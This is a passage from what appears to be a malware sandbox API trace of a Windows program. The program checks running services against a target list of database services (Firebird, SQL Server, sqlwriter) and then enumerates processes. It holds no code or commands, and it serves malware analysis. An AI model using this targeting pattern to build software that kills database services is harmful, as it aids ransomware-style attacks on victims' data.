lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0309.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0309.861] lstrlenW (lpString="KeyIso") returned 6 [0309.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0309.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0309.861] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0309.861] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0309.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0309.862] lstrlenW (lpString="LanmanServer") returned 12 [0309.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0309.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0309.862] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0309.862] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0309.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0309.862] lstrlenW (lpString="LanmanWorkstation") returned 17 [0309.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0309.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0309.862] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0309.862] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0309.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0309.862] lstrlenW (lpString="lfsvc") returned 5 [0309.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0309.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0309.862] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0309.862] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0309.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0309.862] lstrlenW (lpString="lmhosts") returned 7 [0309.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0309.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0309.863] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0309.863] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0309.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0309.863] lstrlenW (lpString="LSM") returned 3 [0309.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0309.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0309.863] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0309.863] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0309.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0309.863] lstrlenW (lpString="MapsBroker") returned 10 [0309.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0309.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0309.863] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0309.863] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0309.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0309.863] lstrlenW (lpString="MpsSvc") returned 6 [0309.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0309.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0309.863] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0309.863] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0309.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0309.863] lstrlenW (lpString="NcbService") returned 10 [0309.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0309.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0309.864] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0309.864] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0309.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0309.864] lstrlenW (lpString="netprofm") returned 8 [0309.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0309.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0309.864] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0309.864] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0309.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0309.864] lstrlenW (lpString="NgcSvc") returned 6 [0309.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0309.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0309.864] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0309.864] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0309.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0309.864] lstrlenW (lpString="NlaSvc") returned 6 [0309.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0309.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0309.864] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0309.864] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0309.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0309.864] lstrlenW (lpString="nsi") returned 3 [0309.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0309.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0309.864] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0309.864] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0309.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0309.865] lstrlenW (lpString="PcaSvc") returned 6 [0309.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0309.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0309.865] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0309.865] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0309.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0309.865] lstrlenW (lpString="PlugPlay") returned 8 [0309.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0309.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0309.865] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0309.865] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0309.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0309.865] lstrlenW (lpString="Power") returned 5 [0309.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0309.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0309.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0309.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0309.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0309.865] lstrlenW (lpString="ProfSvc") returned 7 [0309.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0309.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0309.865] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0309.865] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0309.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0309.865] lstrlenW (lpString="RpcEptMapper") returned 12 [0309.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0309.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0309.866] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0309.866] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0309.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0309.866] lstrlenW (lpString="RpcSs") returned 5 [0309.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0309.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0309.866] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0309.866] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0309.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0309.866] lstrlenW (lpString="SamSs") returned 5 [0309.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0309.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0309.866] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0309.866] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0309.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0309.866] lstrlenW (lpString="Schedule") returned 8 [0309.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0309.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0309.866] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0309.866] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0309.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0309.866] lstrlenW (lpString="SecurityHealthService") returned 21 [0309.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0309.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0309.866] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0309.866] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0309.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0309.867] lstrlenW (lpString="SENS") returned 4 [0309.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0309.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0309.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0309.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0309.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0309.867] lstrlenW (lpString="ShellHWDetection") returned 16 [0309.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0309.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0309.867] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0309.867] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0309.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0309.867] lstrlenW (lpString="Spooler") returned 7 [0309.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0309.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0309.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0309.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0309.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0309.867] lstrlenW (lpString="SSDPSRV") returned 7 [0309.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0309.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0309.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0309.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0309.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0309.868] lstrlenW (lpString="StateRepository") returned 15 [0309.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0309.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0309.868] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0309.868] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0309.868] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0309.868] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0309.871] Process32FirstW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0309.872] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0309.873] lstrlenW (lpString="System") returned 6 [0309.873] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0309.874] lstrlenW (lpString="smss.exe") returned 8 [0309.874] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.875] lstrlenW (lpString="csrss.exe") returned 9 [0309.875] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0309.875] lstrlenW (lpString="wininit.exe") returned 11 [0309.875] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.876] lstrlenW (lpString="csrss.exe") returned 9 [0309.876] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0309.877] lstrlenW (lpString="winlogon.exe") returned 12 [0309.877] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0309.878] lstrlenW (lpString="services.exe") returned 12 [0309.878] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0309.878] lstrlenW (lpString="lsass.exe") returned 9 [0309.879] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.879] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0309.879] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.880] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0309.880] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.883] lstrlenW (lpString="svchost.exe") returned 11 [0309.883] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.884] lstrlenW (lpString="svchost.exe") returned 11 [0309.884] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0309.885] lstrlenW (lpString="dwm.exe") returned 7 [0309.885] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.886] lstrlenW (lpString="svchost.exe") returned 11 [0309.886] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.886] lstrlenW (lpString="svchost.exe") returned 11 [0309.887] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.887] lstrlenW (lpString="svchost.exe") returned 11 [0309.887] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.888] lstrlenW (lpString="svchost.exe") returned 11 [0309.888] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.889] lstrlenW (lpString="svchost.exe") returned 11 [0309.889] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.889] lstrlenW (lpString="svchost.exe") returned 11 [0309.890] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.890] lstrlenW (lpString="svchost.exe") returned 11 [0309.890] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.891] lstrlenW (lpString="svchost.exe") returned 11 [0309.891] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.893] lstrlenW (lpString="svchost.exe") returned 11 [0309.893] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.894] lstrlenW (lpString="svchost.exe") returned 11 [0309.894] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0309.895] lstrlenW (lpString="spoolsv.exe") returned 11 [0309.895] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0309.896] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0309.896] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0309.897] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0309.897] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0309.898] lstrlenW (lpString="Memory Compression") returned 18 [0309.898] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.899] lstrlenW (lpString="svchost.exe") returned 11 [0309.899] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0309.900] lstrlenW (lpString="audiodg.exe") returned 11 [0309.900] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0309.901] lstrlenW (lpString="sihost.exe") returned 10 [0309.901] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.902] lstrlenW (lpString="svchost.exe") returned 11 [0309.902] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0309.903] lstrlenW (lpString="taskhostw.exe") returned 13 [0309.904] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0309.905] lstrlenW (lpString="explorer.exe") returned 12 [0309.905] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0309.906] lstrlenW (lpString="SearchUI.exe") returned 12 [0309.906] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0309.907] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0309.907] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, 